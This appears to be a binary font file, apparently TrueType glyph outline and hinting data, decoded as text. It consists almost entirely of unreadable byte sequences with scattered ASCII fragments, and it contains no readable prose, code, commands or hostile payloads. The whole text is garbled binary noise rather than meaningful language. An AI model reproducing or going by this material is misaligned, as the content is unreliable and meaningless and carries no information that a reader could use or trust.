T[X���@878Y�K]]	!!3#!!L���o���5�5��6�`A�����R���J��'��@9:^]]sys
vS
`

���9991�������90KSX��9Y"K�	TK�T[K�T[K�
T[X���@878Y!!>32!"&'32654&#"j�7�v-,_0��r��}�t;o�l���|T�t���
ѹ���12/HD��`q+-f��H�'r@!^
]sss%d`(	
	(����91��������90K�	TX�(��((@878Y@````	`
```````]"32654&.#">32!"476$32�r�ZPq�X6V�Q��N�]�����|pxG�^�ἔYc��`f��,,ȵ31ک��!�s��� ���3@:vS���991/��0KSX��Y"!!!'f-����<���-��F�#/t@$*ssw$sd`0-'	-!0��������991������990K�
TK�T[K�
T[K�T[K�T[K�T[X�0��00@878Y"32654&%.54$!2!"$546"32654&�u�fXw�g��lkM&���zt�������3f{YIf{Y��tSa�uSb-�e�谠��-/�y��Ű��wbDTwbEST��7�'�@
^]s
s
"sd`(%%
(����91��������90K�TX�(��((@878YK�TX�(@((��878Y@ooo
ooo$o%o&o'	]73267#"&5! #"&2654&#"T5W�Q��M�]��i�|qx���_�r�WQq�X!-+ȵ31کa�������� �[b��`fT�`N@(:TzT����91/���0KSX����Y"!!!!-iJ��ChL��`�}���}�����`	Z@.			:TpTz
	
�����991���0KSX��9��Y"!#!!�h;��լ�iJ������u�}�=��@|{��291��90	5�<�����������'��@
o}o�<�21���0!!!!����������=��@|{�<�91��9055������1�1�J�o�!�@I !:!	
Y]iUTd
		!
"���999991/�����9990KSX�9���Y"!!!7>?>54&#">32hF����W�JOHQLP�s>�a��j�LP9d���1P}f:=j69=CB:*(��w�f<>M+\��j�L]@5IM-.*LF~*1~!=WM	-.LC'7M������991�����<<��2���9990"32654&#"&543273654!"!267#"&'&5476$32!"#"&'
j�QMj�P'-�Z���S}˅�������v\`Kv�hm��⎇�b��xr���oir�g��!ґTXɒV^��KS���BTE��K����n�����WS�bbRMl>ɰH���]\Y��v�{��
�@A

	
	
:
uS
		��91/<���90KSX��������Y"�]@

+
/
?
�
�
�

	+	)
�]]!!!!!���uL�����Z���+?+�� h@::���S	�	!������9991/�����90KSX����Y"2654&+2654&+)! 3gtQL�>e��be�L�bk������#A
���h[;>��s~vKH�y�n��՜���J����J@uud`
����991�����990@))]]%# 476$32.#"3267ي�r���ro�q�t�y>`�o���e�F12J�=���78��ID������IN+J�@@!		:�	S�
		����9991/���0KSX��Y"3 4&#! )���
:��/�""`ab��������j��q.��#EQQ���zm\+\�T@/:���S�

		���91/�����0KSX����Y"!!!!!!N9�s6g:��B�7���������+\�	O@+					:���S	
���91/����0KSX����Y"!!!!!N9�s6g:��{������J��9� h@6   :�uud`! 
!����2991������99990KSX�9�Y"%# 476$32.# 3267#!s��Ƴ���rq�w��;z�v������8p99�1VoGEC�=���87��GF�����"+��u@A
	:��S

	����91/<�<��0KSX��������Y"!!!!!!N�o8n���{��{���9�+y��+��6@:S���91/�0KSX��Y"�]!!N����+���f��[@%	
:�S�K�
TK�T[X���8Y�9991���990KSX�9�Y"!!#3267N���:����N9<w������#��+��
@D	


	

:S		
����91/<�290KSX��������Y"�]@�	  &-0;FJTUehkvt~������	#)&(+(56=<8GG@AG\Ug`emnopp~�����']]!!	!!N�i{����<�
y����+�o��+��I@:�S���91/��0KSX��Y"�]@	]!!!N���7���N��+��@@	
	

	
:
S
	
����91/<�290KSX��������Y"�]@~	


)$
IKI
X^]
joj
o
z~

�����	
	
&('
H[UXX
keii
}tyy
��������
"]]!!!#!N��������������+N��/��+��	}@>			:S	
�����9991/<�2990KSX������Y"�]�	]!!!!N�V�l��R������
�+
��J���� /@	uud`!
!�K�TX�@8Y���1����04&#"3267> # 476$쟗��s�?<A�*koj������nk�cq������a_[������������J�D���+��
T@-




:u
uS

����9991/����0KSX����Y"!2+!32654&#N�	XRY���d�oRՈ�ga�׿u�OUM����_�zQVJ����&_@*:'!uud`'	
'�K�TX�	@8Y���9991�����990KSX�9�Y"#"&'.5476$3 !4&#"3267>�q�Rn{oj�a�*k����4����s�?<A>=Q���E���������'l���������a_[�+{��@H
	:
u	uS

		
�����99991/<����9990KSX������9Y"�]�		]2654&+!!2!.#�]d�L3o�#9��ȫNh'��p"a\?zvJE������ո�����XsoS��R�'@;
	
:
�u�u%d`("
"(����99991�������90KSX�9�9Y"�]@�9	9
999
99999 9!I	I
III
IIIII I!YZ	Z
ZZZ
ZZZZZ Z!m	m
mmm
mkkmmmmm m!y	y
yyy
yyyyyy y!<
	)````	]].#"!"$'32654&/.54!2R>q�i��Go�ƹ���ɑ��=��z��J}���e.y����87ZP39'2����65EMLlT7= '+���%b��`@:�S������991/��20KSX��Y"K�	TK�
T[K�T[X�@��878Y!!!!�`9�����N����T�g@:

	

:�`S
��91�2��90KSX��9�9�Y"!3267!! $5467N��
	ih��$���A��������
��0Jba����������$Y;���q@':S��91/�290KSX����Y"�]@%5)76	]]!!!�n�j����5��\�+�	%�@J

	
	
:
S
	
��91/<�2290KSX��������Y"K�TX�
@

��878Y@j






/
/
?
?
O
O
YYY
�
�
	
	
&%#' 6370BBUZVPP������
�!]]!!!!!�d.�n1��}�L2��B��=��=�+o������@I	
	

		
	:	
S	��91/<�290KSX��������Y"�
]@4	-$	<2	LC		
	
'$'	*
79	:DHG	]]	!!	!!�n�y�K�a�����������+��y�x@5:S		��991/�290KSX������Y"�]@
		D]]!!!������y�y��)����o����	9@:�S�	

��91/���0KSX��Y"!!!7!�0�8%:��-���<��������F@":�l�k������991���0KSX��Y"!!!!Nl-���-������B5�@
S���91��03X��ƾ��m����@@:�l�k������991���0KSX��Y"!7!!7!3��+
��+m���`�����@
S��91��290	#	#��f�g���-��-�������1��0!5��۾���f2@	����91��0K�	TK�T[X���@878Y#'���f��x#���{
+�@c
	
:	"��g#�"�g&�`

	)#"),����9991/������99990KSX��9�9�9�9�9Y"�;"]@83!0"C!@"S!P"c!`"�!�"�!�"�!�"5":#:$K#K$[#[$k#k$�#�$�#�$
]]"326?%!7#"&54$!37>54&#">32���QGn��}��X�s��K8�}{o�a6p�~��	�SQ=F�y)����d_����BC..��"Q?��j�@K
:
ii`�k

	! 
 ����9991/�����990KSX��9�9��9�9Y""32654&!!>32#"&?��cX��_�.!��.huR�k��MH[�s�w��\i��fk�+���b]�ρ�d~�]L���{3@�
�
i��i�`

���9991�������0.#"3267# $5476$32�9H�C�ފ~T�I7Y�[����ibm�U�=��02�u�21���ډgqnJ����@K
:ii`�
k
	 	!
 ����9991/�����990KSX�9���9�9�9Y"%2654&#"!!7#"&5467>32u��aW��_�ti���!R�k��MH[�s���]h��fk�X��b]�ρ�d~�]J��{'H@(���g�$g�`('!
(�����99991��������90!3267# $54676$32%>54&#"����q��7��������[Wg����`Ri�'9mlDC��0/�݀�dx|��(Yo

P^spfR�@<
	:igkz


	

�K�
TK�T[K�T[K�T[K�T[K�T[X�
��8Y��991/�2���2990KSX�9���Y"@	``pp]#"!!!#37>3R/�KE
/1�Ѩ����2�%���7CO���`N��)�Fuy+�@Y+* )'&(
:& &��g i�z�&i)#!
,���99991/��������99990KSX�9��9�9�9�9Y"%#"&5467>327!!"&'3267"32654&XV�i��MHX�v�7i�:����h�^5U�Y��!T��^Z��^�b\��q�dy\c��3��� !65���fk�hm?;�@L

	:	��k

%# 
����9991/<���99990KSX��9�9���9Y"�0]!>54&#"!!>32)���q
GAo�l��.huc�m��	��VH9O@F������a^�� N?�X@(:�zk 
����91/���0KSX����Y"�	]�o	]!!!!h��.h9��`�������F��@:
:�g�zk

�K�TK�T[X���8Y��...��9991�����990KSX��9��Y"�o]!+73267!!h�.�ղ-?e]+h9��`�����[���?�
�@A		




:zk		 

����91/<��90KSX��������Y"�]@<
			)EQXcwpvz��*ESdpus��]]!!	!!mh����u�g��^����������?�6@:k 
���91/�0KSX��Y"�]!!mh�����?�{+�@x !
	
	

	"#$# !$#(')&$#%$$#:!

&$	
�)�$z"
%"!$	

&$
%%
$#
,�����99999991/<<��<�299990KSX��9�9���9��9Y"�]@#	

/-]>32!7654&#"!>54&#"!!>32S�r��		���q?6g�l��s>7c�l���h!T�gt��gn��M1�VH|#7@����HKM8?����`�_`w?;{�@N

	:	��z

%#&
����9991/<���99990KSX��9�9���9Y"�0]!>54&#"!!>32)���q
GAo�l���h!c�m��	��VH9O@F����`�a^�� NJ��5{)@ii�`	!)!
����1����0�p]"32654&2#"$54676$��a]��a@�ZVf����\Vd{��jo��in���cvx��~�dtx��Vj{�@M:ii�`�z !  ����9991������990KSX��9�9��9�9Y"�0!]%!!>32#"&"32654&�s��-h!R�k��MH[�s�A��cX��_���
�b]�ρ�d~�]7��\i��fkJ�Vu{�@N:ii�`�z  !
 ����9991������990KSX�9���9�9�9Y"7!!#"&5467>322654&#"�i���sP�k��MH[�s�����aW��_����Lb]�ρ�d~�]���]h��fk?\{�@6		
	
		:	��	z
		&
���91/���9990KSX��9�9�Y"� ]@#     @@@@@@``````].#"!!>32%Z4�� f���h'GՂ0!/����`�jq��{{'�@9
	
:
��g��g%�`(
,*"(�K�
TK�T[K�	T[X�"��8Y���99991�������90KSX�9�9Y"@i	j
jjjj j!````o)vv]].#"!"&'32654&/.54$!2{5i�]js@^Aٮ���s�}6a�tqr@dA��s�=��2473$.����$$9:64$((����X��@>
	:izi

�K�
TK�T[K�T[K�T[K�T[K�	T[X���8Y�9991/���<�2990KSX����9Y"�)]!!;!"&5467#3�=n3��\=H�3�Ӣ�\�1�>����&
.(���@!�>{��s`�@M

	:	�`
z
&%�K�	TK�
T[K�T[K�T[K�
T[K�T[K�T[K�T[K�T[K�T[K�T[X���8Y���9991/�2��99990KSX��9�9���9Y"�0]!3267!!7#"&546��gqFAo�lg��!\�p������9P?F��'���a`��#N�m`�@&:z�K�
TK�T[K�T[K�T[K�T[K�T[K�	T[K�
T[K�T[X���8Y�91/�290KSX����Y"@��FVffj��]]!!!�J��k�n��`�����j`�@F	
	

	
	
:
z
	
�K�TK�T[K�T[K�	T[X���8Y�91/<�2290KSX��������Y"@(I
		%%GHFWfhxty]]!!!!!�J'R)P`���%����`���������^`�@I	
	
		:	z
	�K�TK�T[K�T[K�	T[K�T[X���8Y�91/<�290KSX��������Y"@N		(%)+	1GJ	��	

((')+*65GEGFG	G
Gkch	i
��
]]	!!	!!��t�#��8������{=#��L���b���F`�@C
:

g�z

	/K�
TK�T[K�T[K�T[K�T[K�T[K�
T[K�T[X�	��8Y�91�2��9990KSX�����9�Y"@


H]]!!+7326?�R���;wʠ�%qXa&!`���6ρ�;J<���`	m@,,:izi	

�K�TK�T[K�T[K�T[K�T[X���8Y�91/���0KSX��Y"@)&/]]!!!7!��1�FC1�/���`�����f��Z0�@g0/.-,+*	$%&'()		"!# :	1 #)*���k110-*)&# 	1���99999991������99999990KSX�9�9�9�9Y"#"&546?>54&+7326?>;#"3+ڳ�%[u@->��'%���+F�g!vrPJ	 	Qtm�{{<(�7XH�t����W����ZMC(�.0C4�����1��0#���Z���0�@l+,+0,,+	

:+1''%,'�%�/�k1'&0/0+",%(&01�����9999991������99999990KSX�9�9�9�9Y"326?>7.546?>54&+732;#"+�F�g!wsPL	!QtC+۳�']t?-=��%%���mY����ZND-�*2D3�z{="�6XH�u�������R#@oo��1�����990#"'&'&'&#"5>32326�j�`k��^X�bk�`k��^V�R�PE:=MS�PE:=K���`	^@1	:UTSz

����991���0KSX���9�Y"!!!!��Fi���q��d�+=��^�����"a@8
 ����
ii �# 

#�����991���������99990.+>7#.5%3�f{94p9K�@	�Y�G8H�U7�7��l(7�7D�X.рJm5��20�h10����"�#�"#����}@E:^]
gsds

		���99991/�2�2���2��990KSX�9���Y".#"!!!!3#737$!2�7;�G}�!u-��@3��4�?�-�!4.\����%({�����
F��J=��#/@H
!	!$��!�*��00
	'LKM-L
K0���2���29999991���2���2�999990'7.5467'7>327'#"&72654&#"�ϙ�љ�0l=6l9Ϙ�Ϛ�.j?:l�[�\[�~Ϛ�1k??l.͚�Ϛ�7n6?i/ϙ��\\\]~
��@S


:
�	�
S


	���9991/�2�<�<�<�290KSX������Y"!!!7!7'!7!!!!!!�:R��R�A'��o%#�p����H%%�h;���`��LL����LL����@�<�21����0##������
���
����=��3?�@F@1:4%
$+��1d@$7!
=%+.47!:=(!11.=070.(@�����������99999991������99990.#"#"&'732654&/.5467.54$32>54&�+Z�=P^19Z����96���T�_0f�=Ma0O�wp��42�S��!PUa�PXr��(&=22)N�o{�:$X6���++?0/%=6�f{�;)\5����Y>=V@[8=]7;�1u@����99991�<�20K�TK�
T[X�@��878Y@*    0000////????]]3#%3#f�1���1�1�����1IH@(

����2�&��>7,-
486 -9DJ����2��1/������990.#"3267#"&54632'"3267>54&'.'2#"$'&5476$+9o9q~r@s.A�>���E��y�WWWWWV�y{�WWWWWX�y�mmllmm������mmllmmf�%#�rs~$#������WWW�zy�WVVUWW�yz�WXV�nmm������mmnnmm��mmnXu7�/F@o"! #BBB

BBB:'*&#

��
U_��#�*d00

 -&'-B0���9999991�������9999990KSX��9�9�9�9�9Y"�&]@xO@@@@@	OOO
OOOOOO O!PPPPP	___
_____ _!%
&%&*%*&?????????:%<&K%K&Y%Y&i%i&y%y&�%�&�%�&]]!!"326?%#7#"&546;7>54&#"7>32/'��\�p>5T�V�B�e}���MLX�U#b�K��=��9F,4qXT�@}LFod��
,.##��z3}��'
4@
	
	����991�<�290
7
7�2��+�Z%L1��+�Z%'����q�s����q����@
o���1���0!#!�������3���@
rq��991��0!!mt9������ 4Lb@8-*+'�0�!��5��2+�A'*,$0-+$!1837$4-;6-34GM������299991/�2�����9990"3267>54&'.#32654&'2#'.+#2#"$'&5476$y�WWWWWV�y{�WWWWWXϲ##NOM+��i`)Go�k&:�1�mmllmm������mmllmm3WWW�zy�WVVUWW�yz�WXV���5442�wyVpP:��NA��D7nmm������mmnnmm��mmn=X�����1��K�	QX�@8Y�0!!bw%����dL�@���	-.-���1���0"32654&'2#"&546HdcIHdeGBz0/11-0|D���\dHHbcGHd�3/0xDCy-03������.@�o�	o
==
�<�2�<�21/��<�<�0!!#!5!!!�
���
�������b�b���\�s�c@!���dP���9991����9990@ 55YY�����������]]!!7>54&#"7>32�y!�\nPNA:D�G$S�E��lxD��
:c*(..,�mdO�TR�j�(t@- #	
�

����#d)
 	PP&	)�����9991�������9990@         (������]#"&'732654&+732654&#"7>32�KN��P�>!:w<m{chLVjqLJ6MH�I��q`
]L���$%LC63�:6&&�d]Qp��Pf\�����1��0K�	TK�T[X���@878YK�
TK�T[X�@��878Y@
))<<LL]!#+%�J�f����T\`&�@W

	&#$"%	:%	�"`�
z'&%
 '����999991�2��<�990KSX��9�9��9�Y"!3267!3267#"&'#"&'7-hVRfxh�'29b-Xc>�XJ]`�T�u(INpu��#�LROO/0���;��
c@.
	:S������99991�2���0KSX����9Y"!###.54����+��Ӽ���9�f��N����`�/@:T���91��0KSX��Y"!!�hL����}-�o#@
	

		����991/����0!#"&'732654&'�%"��1a3(Q&BL4X*hs

�9/E7��)�
�@0	OO:�	�	�b	
���9991�����290KSX��2Y"�]@	

))99JMMJJ]3?33!��f��ۅ��9	4�1�Z�^u\�b@�����d	
DD	����99991����0@,@@@OOOPPP___JJJEEEXXX	]]2#"&54!!"32654&Ϸ����*��7&��Xc�FCc�G�����M�ѹ�LP��KQu��'
4@
	
	����991�<�290?-77-7u1X�+�#L1X��-�#�����������������r����&{�'
/�
Xz�d��r��J�&{�'t�d
/���`����&u'
/�
Xz�dL�p�`!�@M !!!:UT Y]i� z" 	!	
"�����999991������9990KSX���9�Y"!3267#"&546?>7%!!h
V�KPFPLP�r=�`��jLS8���Fhh3P{f<=h69=DA��*(��w�f<AK*�d���{�k&$�Du���{�k&$�Du���{�k&$�Du���{�m&$�Du���{�k&$�Du�{�m!�@P!!
 



! !:!u	W
"! 
"������99991/<�����9990KSX��������Y"�]@2!!!-!9!?!Y!�!�!�!
 
! !(* +!�!�!]]32654&#"!!!.54632!M66MN56Mh��+����u9�vu����ZP6MM66MM�P���%M,u��u0M�L?�`���@M:�
u�
�S�

	��91/<�������90KSX��������Y"�]@
%%]	!!!!!!!!!��yw���9�s5f9��A�7��D����b�������^����J�o��&&z���+\k&(�u��+\k&(�u��+\k&(�u��+\k&(�u��+�k&,��u��+�k&,��u��+�k&,��u��+�k&,��u��m�p@:




:���
S� 
	

 ����.9999991/����<�20KSX����Y"�!]3#3 4&#! )#3�9�3�F�;��0�""`ad��������k}�3�������/��#EQQ���{m\���+�m&1�uu��J���k&2��u��J���k&2��u��J���k&2��u��J���m&2��u��J���k&2��u)��/@
	
	�<�291�<�290		'	7	��N���N�N���N���3�N�P���P�����N�����++
(6@D(76)
,&#,'#,u#ud#`72'76)
22&(2
7����.�99999991������99999990@�                ! . / 0 1 2 3 4 5 6@@@@@@@@@@@@@@ @!@.@/@0@1@2@3@4@5@6PPPPPPPPPPPPPP P!P.P/P0P1P2P3P4P5P6H].#"0.5476$32%#"&''3267>54'&'�(zR����**nk�a��Xf��--oj�����\�f{'zNs�?<Ch98����4��J�P�D���NN�{�L�U������RR�{F;>a_\�t5�����Tk&8�mu�����Tk&8�mu�����Tk&8�mu�����Tk&8�mu���yk&<�u+��j@:
:uuS
����9991/�����0KSX������Y"!32+!32654&#N�+��
WSY���9�BP̈�eb��׿u�OVN���\�zRV?��T7�@^&%
%&%67734257:5,&
%	2gg2gk`667&%)"/	57)
,/),
"/,
7
8�������9999999991/�����990KSX�9��9�9Y"6$!2#"&'732654&/.5467>54&#"!*5����f	=TN���N�J18o4Rd.M=C<��ROfu��Z�ڰ�0I]H7H+;�[���L=(A7+/e?��1CFkp����#���f&DC���#��f&Dv���#���f&D����#���9&D����#���1&Dj���#���&D��#��{
@J�@T7@5=,&A	A��5&�%�"g5�)�@�G=g��/)`KJAD76
	,:%&D5:@2:D2K������999999999991�2�<�<���<����999990@6;;KK[[kk����2?0@B?@@R?P@b?`@�?�@�?�@�?�@]]"326?>32>32!3267#"&'#"&54$!37>54&#">54&#"���QGn���u�h��9_Ղ�


����p��5������Bu����K<�|xr�^�aQi�%�SQ=F�y)JIMMI��-\/9mlCD��0/ghif����
BC..�

P^to��L�o�{&Fz���J��f&HC���J��3f&Hv���J��f&H����J��1&Hj���?�f&�C�s��?�f&�v�s��?Pf&���s��?R1&�j�sJ��m,�@c*+,+)(),,+&'&#$#%$$#'(&%&(#$#(( !"(:,+*)&%$#'"'i	i`'k-*+,)%$'&#"+!!
-����9999991�����9990KSX�9�������Y".#"32654'4#"$5!2''%'!%�4f4��d^���@A[We����l%1W$��#T�`R�#�����ms��
(j\�t��dtx��]
�l�^�tj^��?;9&Q����J��5f&RC���J��5f&Rv���J��5f&R����J��59&R����J��51&Rj��V��*@��
on	IJI�<�<�1�����0!!!!!!�3��3�������X�ˁ������$+{@@$,+%("(#(ii�`,+#,
%+
+"
$+!!

,����.�999999991������99999990.#".54676$327#"&''3267�E-��
��''[Wd�h�D�a�))ZVe��m�D�`E/��J���;�L~�duw..�o�;�O�ctz12�p����{��sf&XC���{��sf&Xv���{��sf&X����{��s1&Xj����Ff&\v���Vj�@L:ii`��k  ! ����999991������990KSX��9�9��9�9Y"%!!>32#"&"32654&�s���huR�k��MH[�s�A��cX��_������b]�ρ�d~�]7��\i��fk���F1&\j����{�O&$q;��#���&Dq����{�|'�K6$��#���-'����D���{�o��'��$��#�o�{'��D��J���k&&��u��L��)f&Fv���J���k'��u&��L���f'��F��J���k'��u&��L���'���F��J���k&&��u��L��f&F����+Jk'�ou'��J���&G�#������m��J���'�@d
&'%:%�
i%i`%�k
	 	!
(����9999991/������<�2990KSX��2�9����9�9Y"%2654&#"!7!7!3#!7#"&5467>32u��aW��_�9�u%�i�%��!R�k��MH[�s���]h��fk�'�tt���b]�ρ�d~�]��+\O&(q�;��J��&Hq���+\k'�u(��J��F'��H��+\k'�u(��J��'���H��+�o\�'�
(��J�o{'��H��+\k&(�?u��J��f&H����J��9k'��u*��)�Fuf'��J��J��9k&*��u��)�FuF&J����J��9k'��u*��)�Fu'���J��J�69�'��*��)�Fu'���J��+�k'��u+��?;k'��uK�{��@3:	�
�S	


����9991/<�<��<<�220KSX@(	


��<<������������<<��Y!!7!3#!!!#73!7��$8$�$�&��{��{�،&�[$8$ջ����y��X�¼���&�@':!
�!�k%%%# '����991/<���99�<�20KSX@3
		

 !��<<����9�9�����9Y!67654'&'&#"!#737!!!67632����e  /p�k���%�fk%��:dcdn�N2��V�<
"#������kk��b./wLxD��+�m'��u,��?s9'��s���+UO&,q�|;��?8&�q�_��+�k'��u,��?kF'��s���+�o��&,����?�o�&��L��+�k&,��u?�`0@:z&
���91/�0KSX��Y"!!h��`����+�f��&,-�@�1��?�F�&LM�@�1�����f�k'��u-�����Flf&�����+�S��'�7.��?�S�'��7N?�`
�@@		




:z		&

����91/<�290KSX��������Y"�]@<
			)EQXcwpvz��*ESdpus��]]!!	!!fP���y�N��[��`�e������-��+�l'�
v/��?�l'��vO��+�S��'�>7/����S�'��7O��+��'���n/��?�'�6��O��+��'y��/��?p'y�O����
`@6					:
�S
		��.�9991/��90KSX����Y"!%!!'%��eTi�N�7��b�h=�����i���Jׇ����@1:
	k	
 ��.�9991/�90KSX����Y"K�TK�T[K�T[K�T[K�T[K�T[K�T[K�
T[X�@��878Y�
/
]!7!'%�hf�d�����u�` ��Nˑ��VDˇ��+�l'�_v1��?;m'v�Q��+�S��'��71��?�S;{'�r7Q��+�k&1��u��?;f&Q����}J�&~�Q@�f4� %!#326764.#"!!6$32�9����N9<x�j*&eG��'���"t,���X4���x�#�~"فI4��&��w�_�yg�Fb{(#!7326767654'&'&#"!!67632R�+����-�f^b  .pQQl���f dddn�N1��j�yv�\���7$#WV���`�b./wLwD��J���O&2qf;��J��5&Rq���J���k'��u2��J��5F'��R��J���k'��u2��J��Bf'��RV	;�!�@8:���S
�


!

"�����91/�2��2��0KSX����Y"�]@
## #0#`#p#�#
]#"!3!!!!!!# 476$3�i��Lq���k�h9�u8g9��A�9�y7���`�Ѐ;��/1J������������.��zIFJ��o{	3?j@:+(
���g:i�g4i.(�`@
1	+=1=17!"
@������99999991�2�<�������9990>54&#"!3267#"&'#"$54676$32>32"32654&`Ri�%#����p��7������:Z։���[Ue���@^������a]��a�

P^un�9mlDC��0/NRRN���cuwQQQQ��(]B��jo��in��+{l'�;v5��?�m'v�U��+�S{�'��75����S\{'��7U��+{k&5�u��?�f&U������Rl'�;v6�����m'v�V����Rk'�u6����{f&�uV���oR�&6z����o{{&Vzb����Rk&6�u�����f&V�b��b�o��'z�7��X�o�&zRW��b�k&7�u��X�f&W�zc��!!3#!#3!�`8�U�3�b�b�3�U���K���������!!!!;!"'&?#37#3�>q2��q2��\�2���GH*�2��2�>�����MN�XY�M�>�����Tm'�mu8��{��s9'��X�����TO&8q@;��{��s&Xq������Tk'�mu8��{��sF'��X�����Tc'�DS8��{��s�&X������Tk'�mu8��{��sf'��X����oT�&8�6��{�os`&X�����	%r&:��|���jf'��Z���yr&<�<|���Ff'��\���yk&<�u�����l'�;v=�����m'v�]�����Y&=�7c�����'�}��]�����k&=�!u�����f&]�TfR)#37>3!#"����2�%��/�K#"
`N���C��6&67632#"'&'!#737!!!26&"7]dcu�ee32���uQQ7���(�fH(��I�>X�NN>-�b./��������/.b���rr��@�UT��T����
827676'&+2676'&+)"#767676763! �[76''[�=ct�10u�L�ub*������I.%�=&W�3AB7yz)BB�((NM()��sbca01�y$�jj�"2!M�A?
^^�mML��+�����K 67632#"'&'!!!26&"7]dcu�ee32���uQQ7��.9�aN�>X�NN>-�b./��������/.b�����@�UT��T|��
27676'&+!'3 y?C1,z�H�����n��}/.��-1][0-���������uj��juL��j67632#"'&'!'26&"k]dcu�ee32���uQQ7����j��>X�NN>-�b./��������/.b����Ө@�UT��T���f�<@	
���9991@
u
ud`�������0@�����]'324&#">3 #"&>`�o�8��e�B��r-hro����t�R5IDd��INK12����Ã��7B��Fd*%# '&%$!2676!3#"&'&#"32767�uxy}����FEu1-@s�3N9<xJK.]absΏ�--\]�snoyR7��ef���Y���CC��I""���焄""I7����&.#"32767# '&76%676;#"n,?�O�edBC�TPQI9ZYZW�э�56��,1\�ͱ.>f^��20WX��XW1�������Rw�\����m������	.327676&#%"#767676763! )���씓++��I.%�=&W�3A�T��bU!!LM}������j��quu���"2!M�A?
10tf������et10��
3#" '&7676!3!!��H�z>C1-*��~/.���7�|8��s-0[]1-��uj��ju#�+4��� !!!7#"'&763226&#"�<�c9���]ccu�ee23���uQN��s�>Xsr�>X�5#��b./����/,�Ǩ@�����t�VLc.!276'&'&76! ! '67676'&#"�m�
��v�64����6(�=F�5���95S10spST89a-vFIB!%p�	������ͤ2 O���F:8W��XXYZ��JM+r�	!!!!!r���8�C��9g6�r8�+#V##J����*6'&!"6$32# '&67!327676�5_��v���=�&��L><8j����׵�J�.	EO�sYZ?'=�`�FG578OO��������NO������S_01_<K��8�1&'&7676!2.#";#"32767# '&7676Ɂ54%��#llml7V�]~�?>��1��]^��gppw:xwxs����,ba%"ST��_` ��)*^V].-�54fcj6��%stޕa`��f��7!!!!!#3276o9�r6g8��_6����N9<xJK�D�����銊#CC��VN#"!!#!732767#376763N.�L#$
22�ε$ww��.�L#$
��2�$ww��DN��\�WX�D�N�WXB���d*%# '&!2676!3#".#"32767#![��������FF�ZT?v�3N9<xJK.o�|敖..��<45-8�2XoFF��ei�
�[���CC��GF����"��R�*	!! '&54>?!32767654/d"���&W
nn���O8��K�`��|DC%$?2��\�ccX�RQQ:_&j��\��)=*)����:>'&'&#"!!67632?27676'&'7#'&7x !.pPQk��.ftdddn�MN,, /ve]#F"�V'08&2����XW+�n#WV�����b./ww�ީ4aX�ksTH�( %CSl����yx���;# '&ζ`x<8N��}|6��V���݊����-�!3#!#3Z�w�2�y�y�2�������m(��	!!!632#76'&#"�D���!s�"�iAp��I7*�
)�����L�����]]FZ!�q�	!	!!6763!#"���z�N��[���,���-�e01�������-F�yv�..����!3#!#3Xf��3�x��x�3��]����m��I#''%'!%!Z#%��H$f\
���\����e�a�ec�a����q��H�+%#"'&7!32767!32767!!7#"&:Yhhp�YP/�h�NfHG!�h�$RgHI�h���T�gt��h67wk��C
w65TT���C�65UU���+�_`p��f��7!!!!#3276o�X�m��R���/i!���N9<xJK�D��+���v �#CC��f�VP{LJ����% # 476$2767!&'&#"�*koj������nk�c�zd0�",H�+H��zH.��������J�D����
�j�+(wP��rM��Mr��P��A&2�����Q��*�&R�f��s�
""327&6'&+! !2! ư�..���z�HŶ10x@�������FF�g�i�6z|6������ۂ�'��CC����jk�����V��F {#"327&6&+! '&76!2!2*wOP>..wuN`-F�:fI����ޅ�l�"y]��UU,�{UV��VUU�U��L�\�
���(��vw����
)327676'&#%"#767676763! !#!�Q�pGH32p��I.%�=&W�3A��.-����e���_76dd66"2!M�A?
~��~����V](67632#"'&'!6763!#""26�/]ccu�ee23���uQQ7s��<!zh�.�L#$�NN>--�>��b./��������/.b��X�fX���UT��TU�@G��y�	!26764&+!!3 !.#�y{Jy�K3<�"�2�'vX9��Ld'��fz!a^=Zg TJ��������cI�08��Z��/�pR�����.6763 32767# '&7>%767676&#"���{xy+#�霍jv~|���?������{{0%��y33v�hz{��%xx߲�0!LFNT&'L��5yx���2!"!<PL7���E{2>3232767# '&7676%767676'&#"І�c�ji# po�Ao))
0/itvuu5�zzo��sr""no@d)*	
,-f_po}= VV��QQ
094��#ZZ��PP#	+50��+\�8F�DO(323#;!"'&7'$%536'&+32�q�UGt7)��
L�.���UU#���23!�f,_

h@vc���D�XW���@.:Kb�F�!!;+732767&'&7#3�>q2��\\�2.}�ͱ.>f/,�>G)\�2�>����%N��rv�.+w
MY��>J-�!!!#"!767638����p	��"#pp���N�Li1��RQ,!!;!"'&7#376763!#"�q1��]\�2���HG)]�1� zi�-�L$#�N��%N�XY��N�fX���f#�!!!;# '&z�9`9��01x<9N��}|6�#��߂CC�݊�������&8������u��]�&X���U����%! '&67!!327676'&'!,fD <���ȗ�< ����2a9�\\ 'ON��}|' ()m9a2�y��Ǽ���9�y��U����tuut˥��V#���!# '&!;27676'&'7!�N��}|6���`x<�}�(0T��R%#1����V��u���^�_����{����z��	!!632#76'&#"���{�{�n���ՇI7*�
8%�P��u`��V�]FZ!�E2�F�{%#76."+73276?!6!2s�(7		�mkm��-p[0-'��f�,we�"�<!9!���JJ�L��4�dV6=#&����!3!!!7#!!�-�}�2�f��88��-��2�H������������A���`!3!!!?#7!7!��1�|+���N2�1�u+I��`������ݶ*���� %2676'&+7!!!"'&'���IJ��0u�9�1�+�Mx@:+��������8�&�jcf45�^#��N!pg��ts="JL��*� %2$7# '&76767677!!#"��D�9��������+ck�V���1�9��0��]^��LJ��=stޏgp!������54fcj�H-`!#"32767# '&76767677!!�0��]^��gppw:xxws����+ck�[���1�2���45fcj6��%tsޏfq!	�����V�`932767#"'&547676%76767654'&+!!lEOie�=l$'&.dnoom+�itj�qYhX>f'$.��O��2�1"08g!�CA(%+�
K;j�C9%
&"��#!!#!67676&#"6763 3!��7��7]�32 /
tuZsr�@���z}~)S3����,+?Di�'&LH+vv�zi������!7!!3 ! '&7!32676'&+�0}%9�\D���j;8+��������+�����IJ��_�����<(xs��tss��cjjcf45��H�`!?!!32!"'&'32676'&#�0}Q+�R�d�58+����spoj9beeg��IJ����\/Fhs��st%)6jcf54����$#737!!!#"'&'327676'&#!;�&�f&��
�T-*���MNE:EJKP�yG+?�3”��C^��ׅ�#*+rB`GLr��V�{!!676;27654'&#"�9��-f l]p��:1	a��+~Y�4���
�o%,p\])(�U�N�& A,A���V��!!w���������VC�'�K���V��!!!!!!!7!7!7!$�m_.��+_.�������._+��._�����e������8�����+�k'?�'��+Tf'@�'��J��
